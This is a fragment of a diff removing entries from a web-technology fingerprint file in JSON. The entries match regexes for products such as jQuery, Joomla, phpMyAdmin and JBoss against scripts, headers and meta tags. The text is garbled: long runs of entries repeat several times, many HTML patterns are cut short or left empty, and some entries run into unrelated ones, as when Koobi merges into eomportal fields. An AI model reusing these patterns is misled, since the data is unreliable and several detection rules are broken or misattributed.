}, - "jQuery UI": { - "website": "jqueryui.com", - "cats": [ 12 ], - "script": [ "jquery-ui(?:-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "([\\d.]+)/jquery-ui(\\.min)?\\.js\\;version:\\1", "jquery-ui.*\\.js" ], - "implies": "jQuery" - }, - "JS Charts": { - "website": "www.jscharts.com", - "cats": [ 25 ], - "script": "jscharts.*\\.js", - "env": "^JSChart$" - }, - "JTL Shop": { - "website": "www.jtl-software.de/produkte/jtl-shop3", - "cats": [ 6 ], - "html": "(?:]+name=\"JTLSHOP|]*\\s+href=[^>]*styles/kendo\\.common(?:\\.min)?\\.css[^>]*/>", - "implies": "jQuery" - }, - "Kentico CMS": { - "website": "www.kentico.comhome.aspx", - "cats": [ 1 ], - "meta": { "generator": "Kentico CMS ([\\d.R]+ \\(build [\\d.]+\\))\\;version:\\1" }, - "headers": { "Set-Cookie": "CMSPreferredCulture=" } - }, - "KineticJS": { - "website": "kineticjs.com", - "cats": [ 25 ], - "script": "kinetic(?:-v?([\\d.]+))?(?:\\.min)?\\.js\\;version:\\1", - "env": "^Kinetic$" - }, - "KISSmetrics": { - "website": "www.kissmetrics.com", - "cats": [ 10 ], - "env": "^KM_COOKIE_DOMAIN$" - }, - "Knockout.js": { - "website": "knockoutjs.com", - "cats": [ 12 ], - "env": "^ko$" - }, - "Koego": { - "website": "www.koego.com/en", - "cats": [ 10 ], - "script": "tracking\\.koego\\.com/end/ego\\.js", - "env": "^ego_domains$" - }, - "Kohana": { - "website": "kohanaframework.org", - "cats": [ 18 ], - "headers": { "Set-Cookie": "kohanasession", "X-Powered-By": "Kohana Framework ([\\d.]+)\\;version:\\1" }, - "implies": "PHP" - }, - "Kolibri CMS": { - "website": "alias.io", - "cats": [ 1 ], - "meta": { "generator": "Kolibri" }, - "headers": { "X-Powered-By": "Kolibri" } - }, - "Komodo CMS": { - "website": "www.komodocms.com", - "cats": [ 1 ], - "meta": { "generator": "^Komodo CMS" }, - "implies": "PHP" - }, - "Koobi": { - "website": "dream4.de/cms", - "cats": [ 1 ], - "meta": { "generator": "Koobi" }, - "html": "", - "meta": { "eomportal-instanceid": "\\d+", "eomportal-id": "\\d+", "eomportal-loid": "[\\d.]+", "eomportal-uuid": "[a-f\\d]+", "eomportal-lastUpdate": "" } - }, - "Microsoft ASP.NET": { - "website": "www.asp.net", - "cats": [ 18 ], - "url": "\\.aspx(?:$|\\?)", - "html": "]+name=\"__VIEWSTATE", - "headers": { "X-Powered-By": "ASP\\.NET\\;confidence:50", "X-AspNet-Version": "(.+)\\;version:\\1", "Set-Cookie": "ASPSESSION|ASP\\.NET_SessionId" }, - "implies": "IIS\\;confidence:50" - }, - "Microsoft HTTPAPI": { - "website": "microsoft.com", - "cats": [ 22 ], - "headers": { "Server": "Microsoft-HTTPAPI(?:/([\\d.]+))?\\;version:\\1" } - }, - "Microsoft SharePoint": { - "website": "sharepoint.microsoft.com", - "cats": [ 1 ], - "meta": { "generator": "Microsoft SharePoint" }, - "headers": { "MicrosoftSharePointTeamServices": "(.*)\\;version:\\1", "X-SharePointHealthScore": "", "SPRequestGuid": "", "SharePointHealthScore": "" }, - "env": "^_spBodyOnLoadCalled$" - }, - "mini_httpd": { - "website": "acme.com/software/mini_httpd", - "cats": [ 22 ], - "headers": { "Server": "mini_httpd(?:/([\\d.]+))?\\;version:\\1" } - }, - "MiniBB": { - "website": "www.minibb.com", - "cats": [ 2 ], - "html": "]+minibb.+\\s+", - "env": "^_?owa_" - }, - "OneStat": { - "website": "www.onestat.com", - "cats": [ 10 ], - "html": "var p==.+stat\\.onestat\\.com/stat\\.aspx\\?tagver" - }, - "OpenCart": { - "website": "www.opencart.com", - "cats": [ 6 ], - "html": "(?:index\\.php\\?route=[a-z]+/|Powered By ]+OpenCart)", - "implies": "PHP" - }, - "openEngine": { - "website": "openengine.de/html/pages/de/", - "cats": [ 1 ], - "meta": { "openEngine": "" } - }, - "OpenGrok": { - "website": "hub.opensolaris.org/bin/view/Project+opengrok/WebHome", - "cats": [ 19 ], - "headers": { "Set-Cookie": "OpenGrok" }, - "meta": { "generator": "OpenGrok(?: v?([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "OpenGSE": { - "website": "code.google.com/p/opengse", - "cats": [ 22 ], - "headers": { "Server": "GSE" }, - "implies": "Java" - }, - "OpenLayers": { - "website": "openlayers.org", - "cats": [ 35 ], - "script": "openlayers", - "env": "^OpenLayers$" - }, - "OpenNemas": { - "website": "www.opennemas.com", - "cats": [ 1 ], - "meta": { "generator": "OpenNemas" }, - "headers": { "X-Powered-By": "OpenNemas" } - }, - "OpenSSL": { - "website": "openssl.org", - "cats": [ 33 ], - "headers": { "Server": "OpenSSL(?:/([\\d.]+[a-z]?))?\\;version:\\1" } - }, - "OpenText Web Solutions": { - "website": "websolutions.opentext.com", - "cats": [ 1 ], - "html": "\\s*<\\/div>", - "url": "/web/viewer\\.html?file=[^&]\\.pdf", - "env": "^PDFJS$" - }, - "PencilBlue": { - "website": "pencilblue.org", - "cats": [ 1, 11 ], - "headers": { "X-Powered-By": "PencilBlue" } - }, - "Percussion": { - "website": "percussion.com", - "cats": [ 1 ], - "meta": { "generator": "(?:Percussion|Rhythmyx)" }, - "html": "<[^>]+class=\"perc-region\"" - }, - "PerfSONAR-PS": { - "website": "psps.perfsonar.net", - "cats": [ 19 ], - "headers": { "User-agent": "perfSONAR-PS/?([\\d\\.]+)?\\;version:\\1" } - }, - "Perl": { - "website": "perl.org", - "cats": [ 27 ], - "headers": { "Server": "\\bPerl\\b(?: ?/?v?([\\d.]+))?\\;version:\\1" }, - "url": "\\.pl(?:$|\\?)" - }, - "Petrojs": { - "website": "petrojs.thepetronics.com", - "cats": [ 12 ], - "script": [ "petrojs(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "(?:/([\\d.]+)/)?petrojs(?:\\.min)?\\.js\\;version:\\1" ], - "env": "^petrojs$" - }, - "Phaser": { - "website": "phaser.io", - "cats": [ 12 ], - "env": "Phaser" - }, - "PHP": { - "website": "php.net", - "cats": [ 27 ], - "headers": { "Server": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "X-Powered-By": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "Set-Cookie": "PHPSESSID" }, - "url": "\\.php(?:$|\\?)" - }, - "phpAlbum": { - "website": "phpalbum.net", - "cats": [ 7 ], - "html": "\\;version:\\1", - "implies": "PHP" - }, - "phpBB": { - "website": "phpbb.com", - "cats": [ 2 ], - "meta": { "copyright": "phpBB Group" }, - "html": "(?:Powered by ]+phpbb|]+phpbb[^>]+class=\\.copyright|\\tphpBB style name|<[^>]+styles/(?:sub|pro)silver/theme|]+i_icon_mini|
]+php-fusion", - "implies": "PHP" - }, - "phpMyAdmin": { - "website": "www.phpmyadmin.net", - "cats": [ 3 ], - "html": "(?: \\| phpMyAdmin ([\\d.]+)<\\/title>|PMA_sendHeaderLocation\\(|]*href=\"[^\"]*phpmyadmin\\.css\\.php)\\;version:\\1", - "env": "^pma_absolute_uri$", - "implies": [ "PHP", "MySQL" ] - }, - "PHP-Nuke": { - "website": "phpnuke.org", - "cats": [ 2 ], - "meta": { "generator": "PHP-Nuke" }, - "html": "<[^>]+Powered by PHP-Nuke", - "implies": "PHP" - }, - "phpPgAdmin": { - "website": "phppgadmin.sourceforge.net", - "cats": [ 3 ], - "html": "(?:phpPgAdmin|phpPgAdmin)", - "implies": "PHP" - }, - "phpSQLiteCMS": { - "website": "phpsqlitecms.net", - "cats": [ 1 ], - "meta": { "generator": "^phpSQLiteCMS(?: (.+))?$\\;version:\\1" }, - "implies": [ "PHP", "SQLite\\;confidence:50" ] - }, - "phpwind": { - "website": "www.phpwind.net", - "cats": [ 1, 2 ], - "meta": { "generator": "^phpwind" }, - "html": "Powered by ]+id=\"xvotes-0", - "env": "^pligg_" - }, - "Plone": { - "website": "plone.org", - "cats": [ 1 ], - "meta": { "generator": "Plone" }, - "implies": "Python" - }, - "Plura": { - "website": "www.pluraprocessing.com", - "cats": [ 19 ], - "html": "", - "env": "^googletag$" - }, - "Google Wallet": { - "website": "wallet.google.com", - "cats": [ 41 ], - "script": [ "checkout\\.google\\.com", "wallet\\.google\\.com" ] - }, - "Google Web Toolkit": { - "website": "developers.google.com/web-toolkit", - "cats": [ 18 ], - "env": "^__gwt_", - "meta": { "gwt:property": "" }, - "implies": "Java" - }, - "GoStats": { - "website": "gostats.com", - "cats": [ 10 ], - "env": "^_go(?:stats|_track)" - }, - "Graffiti CMS": { - "website": "graffiticms.codeplex.com", - "cats": [ 1 ], - "meta": { "generator": "Graffiti CMS ([^\"]+)\\;version:\\1" }, - "script": "/graffiti\\.js", - "headers": { "Set-Cookie": "graffitibot[^;]=" } - }, - "Grandstream": { - "website": "www.grandstream.com", - "cats": [ 22, 39 ], - "headers": { "Server": "Grandstream\\/?([\\d\\.]+)?\\;version:\\1" } - }, - "Gravatar": { - "website": "gravatar.com", - "cats": [ 19 ], - "html": "gravatar\\.com/avatar/", - "env": "^Gravatar$" - }, - "Gravity Insights": { - "website": "insights.gravity.com", - "cats": [ 10 ], - "env": "^GravityInsights$" - }, - "Green Valley CMS": { - "website": "www.greenvalley.nl/Public/Producten/Content_Management/CMS", - "cats": [ 1 ], - "meta": { "DC.identifier": "/content\\.jsp\\?objectid=" }, - "html": "]+/dsresource\\?objectid=" - }, - "gunicorn": { - "website": "gunicorn.org", - "cats": [ 22 ], - "headers": { "Server": "gunicorn(?:/([\\d.]+))?\\;version:\\1" }, - "implies": [ "Python" ] - }, - "G-WAN": { - "website": "gwan.com", - "cats": [ 22 ], - "headers": { "Server": "G-WAN" } - }, - "GX WebManager": { - "website": "www.gxsoftware.com/en/products/web-content-management.htm", - "cats": [ 1 ], - "meta": { "generator": "GX WebManager(?: ([\\d.]+))?\\;version:\\1" }, - "html": "" - }, - "InstantCMS": { - "website": "www.instantcms.ru", - "cats": [ 1 ], - "meta": { "generator": "InstantCMS" }, - "headers": { "Set-Cookie": "InstantCMS\\[logdate\\]=" } - }, - "Intel Active Management Technology": { - "website": "intel.com", - "cats": [ 22, 46 ], - "headers": { "Server": "Intel\\(R\\) Active Management Technology(?: ([\\d.]+))?\\;version:\\1" } - }, - "IntenseDebate": { - "website": "intensedebate.com", - "cats": [ 15 ], - "script": "intensedebate\\.com" - }, - "Intercom": { - "website": "intercom.io", - "cats": [ 10 ], - "script": "(?:api\\.intercom\\.io/api|static\\.intercomcdn\\.com/intercom\\.v1)", - "env": "^Intercom$" - }, - "Intershop": { - "website": "intershop.com", - "cats": [ 6 ], - "script": "(?:is-bin|INTERSHOP)" - }, - "Invenio": { - "website": "invenio-software.org", - "cats": [ 50 ], - "headers": { "Set-cookie": "INVENIOSESSION" }, - "html": "(?:Powered by|System)\\s+(?:CERN )?(?:CDS )?Invenio\\s*v?([\\d\\.]+)?\\;version:\\1" - }, - "io4 CMS": { - "website": "notenbomer.nl/Producten/Content_management/io4_|_cms", - "cats": [ 1 ], - "meta": { "generator": "io4 cms", "generator": "GO[ |]+CMS Enterprise" } - }, - "Ionicons": { - "website": "ionicons.com", - "cats": [ 17 ], - "html": "]* href=[^>]+ionicons(?:\\.min)?\\.css" - }, - "IPB": { - "website": "www.invisionpower.com", - "cats": [ 2 ], - "script": "jscripts/ips_", - "env": "^(?:IPBoard$|ipb_var)", - "html": "]+ipb_[^>]+\\.css" - }, - "iWeb": { - "website": "apple.com/ilife/iweb", - "cats": [ 20 ], - "meta": { "generator": "^iWeb( [\\d.]+)?\\;version:\\1" } - }, - "JAlbum": { - "website": "jalbum.net/en", - "cats": [ 7 ], - "meta": { "generator": "JAlbum( [\\d.]+)?\\;version:\\1" }, - "implies": "Java" - }, - "Jalios": { - "website": "www.jalios.com", - "cats": [ 1 ], - "meta": { "generator": "Jalios" } - }, - "Java": { - "website": "java.com", - "cats": [ 27 ], - "headers": { "Set-Cookie": "JSESSIONID" } - }, - "Javascript Infovis Toolkit": { - "website": "thejit.org", - "cats": [ 25 ], - "script": "jit.*\\.js", - "env": "^\\$jit$" - }, - "JavaServer Faces": { - "website": "javaserverfaces.java.net", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSF(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JavaServer Pages": { - "website": "www.oracle.com/technetwork/java/javaee/jsp/index.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSP(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "Java Servlet": { - "website": "www.oracle.com/technetwork/java/index-jsp-135475.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "Servlet(?:.([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JBoss Application Server": { - "website": "jboss.org/jbossas.html", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBoss(?:-([\\d.]+))?\\;version:\\1" } - }, - "JBoss Web": { - "website": "jboss.org/jbossweb", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBossWeb(?:-([\\d.]+))?\\;version:\\1" }, - "implies": "JBoss Application Server", - "excludes": "Apache Tomcat" - }, - "JC-HTTPD": { - "website": "canon.com", - "cats": [ 22 ], - "headers": { "Server": "JC-HTTPD(?:/([\\d.]+))?\\;version:\\1" }, - "implies": [ "Canon" ], - "excludes": "Apache" - }, - "Jekyll": { - "website": "jekyllrb.com", - "cats": [ 1, 11 ], - "meta": { "generator": "Jekyll (v[\\d.]+)?\\;version:\\1" } - }, - "Jenkins": { - "website": "jenkins-ci.org", - "cats": [ 44 ], - "headers": { "X-Jenkins": "([\\d\\.]+)\\;version:\\1" } - }, - "Jetty": { - "website": "www.eclipse.org/jetty", - "cats": [ 22 ], - "headers": { "Server": "Jetty(?:\\(([\\d\\.]*\\d+))?\\;version:\\1" }, - "implies": "Java" - }, - "Jirafe": { - "website": "jirafe.com", - "cats": [ 10, 32 ], - "script": "/jirafe\\.js", - "env": "^jirafe$" - }, - "Jo": { - "website": "joapp.com", - "cats": [ 26, 12 ], - "env": "^jo(?:Cache|DOM|Event)$" - }, - "JobberBase": { - "website": "jobberbase.com", - "cats": [ 19 ], - "meta": { "generator": "Jobberbase" }, - "env": "^Jobber$" - }, - "Joomla": { - "website": "joomla.org", - "cats": [ 1 ], - "url": "option=com_", - "meta": { "generator": "Joomla!(?: ([\\d.]+))?\\;version:\\1" }, - "html": "(?:]+id=\"wrapper_r\"|<[^>]+(?:feed|components)/com_|]+class=\"pill)\\;confidence:50", - "headers": { "X-Content-Encoded-By": "Joomla! ([\\d.]+)\\;version:\\1" }, - "env": "^(?:jcomments|Joomla)$", - "implies": "PHP" - }, - "jqPlot": { - "website": "www.jqplot.com", - "cats": [ 25 ], - "script": "jqplot.*\\.js", - "implies": "jQuery" - }, - "jQTouch": { - "website": "jqtouch.com", - "cats": [ 26 ], - "script": "jqtouch.*\\.js", - "env": "^jQT$" - }, - "jQuery": { - "website": "jquery.com", - "cats": [ 12 ], - "script": [ "jquery(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "/([\\d.]+)/jquery(\\.min)?\\.js\\;version:\\1", "jquery.*\\.js" ], - "env": "^jQuery$" - }, - "jQuery Mobile": { - "website": "jquerymobile.com", - "cats": [ 26 ], - "script": "jquery\\.mobile(?:-([\\d.]+rc\\d))?.*\\.js(?:\\?ver=([\\d.]+))?\\;version:\\1", - "implies": "jQuery" - }, - "jQuery Sparklines": { - "website": "omnipotent.net/jquery.sparkline/", - "cats": [ 25 ], - "script": "jquery\\.sparkline.*\\.js", - "implies": "jQuery" - }, - "jQuery UI": { - "website": "jqueryui.com", - "cats": [ 12 ], - "script": [ "jquery-ui(?:-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "([\\d.]+)/jquery-ui(\\.min)?\\.js\\;version:\\1", "jquery-ui.*\\.js" ], - "implies": "jQuery" - }, - "JS Charts": { - "website": "www.jscharts.com", - "cats": [ 25 ], - "script": "jscharts.*\\.js", - "env": "^JSChart$" - }, - "JTL Shop": { - "website": "www.jtl-software.de/produkte/jtl-shop3", - "cats": [ 6 ], - "html": "(?:]+name=\"JTLSHOP|]*\\s+href=[^>]*styles/kendo\\.common(?:\\.min)?\\.css[^>]*/>", - "implies": "jQuery" - }, - "Kentico CMS": { - "website": "www.kentico.comhome.aspx", - "cats": [ 1 ], - "meta": { "generator": "Kentico CMS ([\\d.R]+ \\(build [\\d.]+\\))\\;version:\\1" }, - "headers": { "Set-Cookie": "CMSPreferredCulture=" } - }, - "KineticJS": { - "website": "kineticjs.com", - "cats": [ 25 ], - "script": "kinetic(?:-v?([\\d.]+))?(?:\\.min)?\\.js\\;version:\\1", - "env": "^Kinetic$" - }, - "KISSmetrics": { - "website": "www.kissmetrics.com", - "cats": [ 10 ], - "env": "^KM_COOKIE_DOMAIN$" - }, - "Knockout.js": { - "website": "knockoutjs.com", - "cats": [ 12 ], - "env": "^ko$" - }, - "Koego": { - "website": "www.koego.com/en", - "cats": [ 10 ], - "script": "tracking\\.koego\\.com/end/ego\\.js", - "env": "^ego_domains$" - }, - "Kohana": { - "website": "kohanaframework.org", - "cats": [ 18 ], - "headers": { "Set-Cookie": "kohanasession", "X-Powered-By": "Kohana Framework ([\\d.]+)\\;version:\\1" }, - "implies": "PHP" - }, - "Kolibri CMS": { - "website": "alias.io", - "cats": [ 1 ], - "meta": { "generator": "Kolibri" }, - "headers": { "X-Powered-By": "Kolibri" } - }, - "Komodo CMS": { - "website": "www.komodocms.com", - "cats": [ 1 ], - "meta": { "generator": "^Komodo CMS" }, - "implies": "PHP" - }, - "Koobi": { - "website": "dream4.de/cms", - "cats": [ 1 ], - "meta": { "generator": "Koobi" }, - "html": "", - "meta": { "eomportal-instanceid": "\\d+", "eomportal-id": "\\d+", "eomportal-loid": "[\\d.]+", "eomportal-uuid": "[a-f\\d]+", "eomportal-lastUpdate": "" } - }, - "Microsoft ASP.NET": { - "website": "www.asp.net", - "cats": [ 18 ], - "url": "\\.aspx(?:$|\\?)", - "html": "]+name=\"__VIEWSTATE", - "headers": { "X-Powered-By": "ASP\\.NET\\;confidence:50", "X-AspNet-Version": "(.+)\\;version:\\1", "Set-Cookie": "ASPSESSION|ASP\\.NET_SessionId" }, - "implies": "IIS\\;confidence:50" - }, - "Microsoft HTTPAPI": { - "website": "microsoft.com", - "cats": [ 22 ], - "headers": { "Server": "Microsoft-HTTPAPI(?:/([\\d.]+))?\\;version:\\1" } - }, - "Microsoft SharePoint": { - "website": "sharepoint.microsoft.com", - "cats": [ 1 ], - "meta": { "generator": "Microsoft SharePoint" }, - "headers": { "MicrosoftSharePointTeamServices": "(.*)\\;version:\\1", "X-SharePointHealthScore": "", "SPRequestGuid": "", "SharePointHealthScore": "" }, - "env": "^_spBodyOnLoadCalled$" - }, - "mini_httpd": { - "website": "acme.com/software/mini_httpd", - "cats": [ 22 ], - "headers": { "Server": "mini_httpd(?:/([\\d.]+))?\\;version:\\1" } - }, - "MiniBB": { - "website": "www.minibb.com", - "cats": [ 2 ], - "html": "]+minibb.+\\s+", - "env": "^_?owa_" - }, - "OneStat": { - "website": "www.onestat.com", - "cats": [ 10 ], - "html": "var p==.+stat\\.onestat\\.com/stat\\.aspx\\?tagver" - }, - "OpenCart": { - "website": "www.opencart.com", - "cats": [ 6 ], - "html": "(?:index\\.php\\?route=[a-z]+/|Powered By ]+OpenCart)", - "implies": "PHP" - }, - "openEngine": { - "website": "openengine.de/html/pages/de/", - "cats": [ 1 ], - "meta": { "openEngine": "" } - }, - "OpenGrok": { - "website": "hub.opensolaris.org/bin/view/Project+opengrok/WebHome", - "cats": [ 19 ], - "headers": { "Set-Cookie": "OpenGrok" }, - "meta": { "generator": "OpenGrok(?: v?([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "OpenGSE": { - "website": "code.google.com/p/opengse", - "cats": [ 22 ], - "headers": { "Server": "GSE" }, - "implies": "Java" - }, - "OpenLayers": { - "website": "openlayers.org", - "cats": [ 35 ], - "script": "openlayers", - "env": "^OpenLayers$" - }, - "OpenNemas": { - "website": "www.opennemas.com", - "cats": [ 1 ], - "meta": { "generator": "OpenNemas" }, - "headers": { "X-Powered-By": "OpenNemas" } - }, - "OpenSSL": { - "website": "openssl.org", - "cats": [ 33 ], - "headers": { "Server": "OpenSSL(?:/([\\d.]+[a-z]?))?\\;version:\\1" } - }, - "OpenText Web Solutions": { - "website": "websolutions.opentext.com", - "cats": [ 1 ], - "html": "\\s*<\\/div>", - "url": "/web/viewer\\.html?file=[^&]\\.pdf", - "env": "^PDFJS$" - }, - "PencilBlue": { - "website": "pencilblue.org", - "cats": [ 1, 11 ], - "headers": { "X-Powered-By": "PencilBlue" } - }, - "Percussion": { - "website": "percussion.com", - "cats": [ 1 ], - "meta": { "generator": "(?:Percussion|Rhythmyx)" }, - "html": "<[^>]+class=\"perc-region\"" - }, - "PerfSONAR-PS": { - "website": "psps.perfsonar.net", - "cats": [ 19 ], - "headers": { "User-agent": "perfSONAR-PS/?([\\d\\.]+)?\\;version:\\1" } - }, - "Perl": { - "website": "perl.org", - "cats": [ 27 ], - "headers": { "Server": "\\bPerl\\b(?: ?/?v?([\\d.]+))?\\;version:\\1" }, - "url": "\\.pl(?:$|\\?)" - }, - "Petrojs": { - "website": "petrojs.thepetronics.com", - "cats": [ 12 ], - "script": [ "petrojs(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "(?:/([\\d.]+)/)?petrojs(?:\\.min)?\\.js\\;version:\\1" ], - "env": "^petrojs$" - }, - "Phaser": { - "website": "phaser.io", - "cats": [ 12 ], - "env": "Phaser" - }, - "PHP": { - "website": "php.net", - "cats": [ 27 ], - "headers": { "Server": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "X-Powered-By": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "Set-Cookie": "PHPSESSID" }, - "url": "\\.php(?:$|\\?)" - }, - "phpAlbum": { - "website": "phpalbum.net", - "cats": [ 7 ], - "html": "\\;version:\\1", - "implies": "PHP" - }, - "phpBB": { - "website": "phpbb.com", - "cats": [ 2 ], - "meta": { "copyright": "phpBB Group" }, - "html": "(?:Powered by ]+phpbb|]+phpbb[^>]+class=\\.copyright|\\tphpBB style name|<[^>]+styles/(?:sub|pro)silver/theme|]+i_icon_mini|
]+php-fusion", - "implies": "PHP" - }, - "phpMyAdmin": { - "website": "www.phpmyadmin.net", - "cats": [ 3 ], - "html": "(?: \\| phpMyAdmin ([\\d.]+)<\\/title>|PMA_sendHeaderLocation\\(|]*href=\"[^\"]*phpmyadmin\\.css\\.php)\\;version:\\1", - "env": "^pma_absolute_uri$", - "implies": [ "PHP", "MySQL" ] - }, - "PHP-Nuke": { - "website": "phpnuke.org", - "cats": [ 2 ], - "meta": { "generator": "PHP-Nuke" }, - "html": "<[^>]+Powered by PHP-Nuke", - "implies": "PHP" - }, - "phpPgAdmin": { - "website": "phppgadmin.sourceforge.net", - "cats": [ 3 ], - "html": "(?:phpPgAdmin|phpPgAdmin)", - "implies": "PHP" - }, - "phpSQLiteCMS": { - "website": "phpsqlitecms.net", - "cats": [ 1 ], - "meta": { "generator": "^phpSQLiteCMS(?: (.+))?$\\;version:\\1" }, - "implies": [ "PHP", "SQLite\\;confidence:50" ] - }, - "phpwind": { - "website": "www.phpwind.net", - "cats": [ 1, 2 ], - "meta": { "generator": "^phpwind" }, - "html": "Powered by ]+id=\"xvotes-0", - "env": "^pligg_" - }, - "Plone": { - "website": "plone.org", - "cats": [ 1 ], - "meta": { "generator": "Plone" }, - "implies": "Python" - }, - "Plura": { - "website": "www.pluraprocessing.com", - "cats": [ 19 ], - "html": "", - "env": "^googletag$" - }, - "Google Wallet": { - "website": "wallet.google.com", - "cats": [ 41 ], - "script": [ "checkout\\.google\\.com", "wallet\\.google\\.com" ] - }, - "Google Web Toolkit": { - "website": "developers.google.com/web-toolkit", - "cats": [ 18 ], - "env": "^__gwt_", - "meta": { "gwt:property": "" }, - "implies": "Java" - }, - "GoStats": { - "website": "gostats.com", - "cats": [ 10 ], - "env": "^_go(?:stats|_track)" - }, - "Graffiti CMS": { - "website": "graffiticms.codeplex.com", - "cats": [ 1 ], - "meta": { "generator": "Graffiti CMS ([^\"]+)\\;version:\\1" }, - "script": "/graffiti\\.js", - "headers": { "Set-Cookie": "graffitibot[^;]=" } - }, - "Grandstream": { - "website": "www.grandstream.com", - "cats": [ 22, 39 ], - "headers": { "Server": "Grandstream\\/?([\\d\\.]+)?\\;version:\\1" } - }, - "Gravatar": { - "website": "gravatar.com", - "cats": [ 19 ], - "html": "gravatar\\.com/avatar/", - "env": "^Gravatar$" - }, - "Gravity Insights": { - "website": "insights.gravity.com", - "cats": [ 10 ], - "env": "^GravityInsights$" - }, - "Green Valley CMS": { - "website": "www.greenvalley.nl/Public/Producten/Content_Management/CMS", - "cats": [ 1 ], - "meta": { "DC.identifier": "/content\\.jsp\\?objectid=" }, - "html": "]+/dsresource\\?objectid=" - }, - "gunicorn": { - "website": "gunicorn.org", - "cats": [ 22 ], - "headers": { "Server": "gunicorn(?:/([\\d.]+))?\\;version:\\1" }, - "implies": [ "Python" ] - }, - "G-WAN": { - "website": "gwan.com", - "cats": [ 22 ], - "headers": { "Server": "G-WAN" } - }, - "GX WebManager": { - "website": "www.gxsoftware.com/en/products/web-content-management.htm", - "cats": [ 1 ], - "meta": { "generator": "GX WebManager(?: ([\\d.]+))?\\;version:\\1" }, - "html": "" - }, - "InstantCMS": { - "website": "www.instantcms.ru", - "cats": [ 1 ], - "meta": { "generator": "InstantCMS" }, - "headers": { "Set-Cookie": "InstantCMS\\[logdate\\]=" } - }, - "Intel Active Management Technology": { - "website": "intel.com", - "cats": [ 22, 46 ], - "headers": { "Server": "Intel\\(R\\) Active Management Technology(?: ([\\d.]+))?\\;version:\\1" } - }, - "IntenseDebate": { - "website": "intensedebate.com", - "cats": [ 15 ], - "script": "intensedebate\\.com" - }, - "Intercom": { - "website": "intercom.io", - "cats": [ 10 ], - "script": "(?:api\\.intercom\\.io/api|static\\.intercomcdn\\.com/intercom\\.v1)", - "env": "^Intercom$" - }, - "Intershop": { - "website": "intershop.com", - "cats": [ 6 ], - "script": "(?:is-bin|INTERSHOP)" - }, - "Invenio": { - "website": "invenio-software.org", - "cats": [ 50 ], - "headers": { "Set-cookie": "INVENIOSESSION" }, - "html": "(?:Powered by|System)\\s+(?:CERN )?(?:CDS )?Invenio\\s*v?([\\d\\.]+)?\\;version:\\1" - }, - "io4 CMS": { - "website": "notenbomer.nl/Producten/Content_management/io4_|_cms", - "cats": [ 1 ], - "meta": { "generator": "io4 cms", "generator": "GO[ |]+CMS Enterprise" } - }, - "Ionicons": { - "website": "ionicons.com", - "cats": [ 17 ], - "html": "]* href=[^>]+ionicons(?:\\.min)?\\.css" - }, - "IPB": { - "website": "www.invisionpower.com", - "cats": [ 2 ], - "script": "jscripts/ips_", - "env": "^(?:IPBoard$|ipb_var)", - "html": "]+ipb_[^>]+\\.css" - }, - "iWeb": { - "website": "apple.com/ilife/iweb", - "cats": [ 20 ], - "meta": { "generator": "^iWeb( [\\d.]+)?\\;version:\\1" } - }, - "JAlbum": { - "website": "jalbum.net/en", - "cats": [ 7 ], - "meta": { "generator": "JAlbum( [\\d.]+)?\\;version:\\1" }, - "implies": "Java" - }, - "Jalios": { - "website": "www.jalios.com", - "cats": [ 1 ], - "meta": { "generator": "Jalios" } - }, - "Java": { - "website": "java.com", - "cats": [ 27 ], - "headers": { "Set-Cookie": "JSESSIONID" } - }, - "Javascript Infovis Toolkit": { - "website": "thejit.org", - "cats": [ 25 ], - "script": "jit.*\\.js", - "env": "^\\$jit$" - }, - "JavaServer Faces": { - "website": "javaserverfaces.java.net", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSF(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JavaServer Pages": { - "website": "www.oracle.com/technetwork/java/javaee/jsp/index.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSP(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "Java Servlet": { - "website": "www.oracle.com/technetwork/java/index-jsp-135475.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "Servlet(?:.([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JBoss Application Server": { - "website": "jboss.org/jbossas.html", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBoss(?:-([\\d.]+))?\\;version:\\1" } - }, - "JBoss Web": { - "website": "jboss.org/jbossweb", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBossWeb(?:-([\\d.]+))?\\;version:\\1" }, - "implies": "JBoss Application Server", - "excludes": "Apache Tomcat" - }, - "JC-HTTPD": { - "website": "canon.com", - "cats": [ 22 ], - "headers": { "Server": "JC-HTTPD(?:/([\\d.]+))?\\;version:\\1" }, - "implies": [ "Canon" ], - "excludes": "Apache" - }, - "Jekyll": { - "website": "jekyllrb.com", - "cats": [ 1, 11 ], - "meta": { "generator": "Jekyll (v[\\d.]+)?\\;version:\\1" } - }, - "Jenkins": { - "website": "jenkins-ci.org", - "cats": [ 44 ], - "headers": { "X-Jenkins": "([\\d\\.]+)\\;version:\\1" } - }, - "Jetty": { - "website": "www.eclipse.org/jetty", - "cats": [ 22 ], - "headers": { "Server": "Jetty(?:\\(([\\d\\.]*\\d+))?\\;version:\\1" }, - "implies": "Java" - }, - "Jirafe": { - "website": "jirafe.com", - "cats": [ 10, 32 ], - "script": "/jirafe\\.js", - "env": "^jirafe$" - }, - "Jo": { - "website": "joapp.com", - "cats": [ 26, 12 ], - "env": "^jo(?:Cache|DOM|Event)$" - }, - 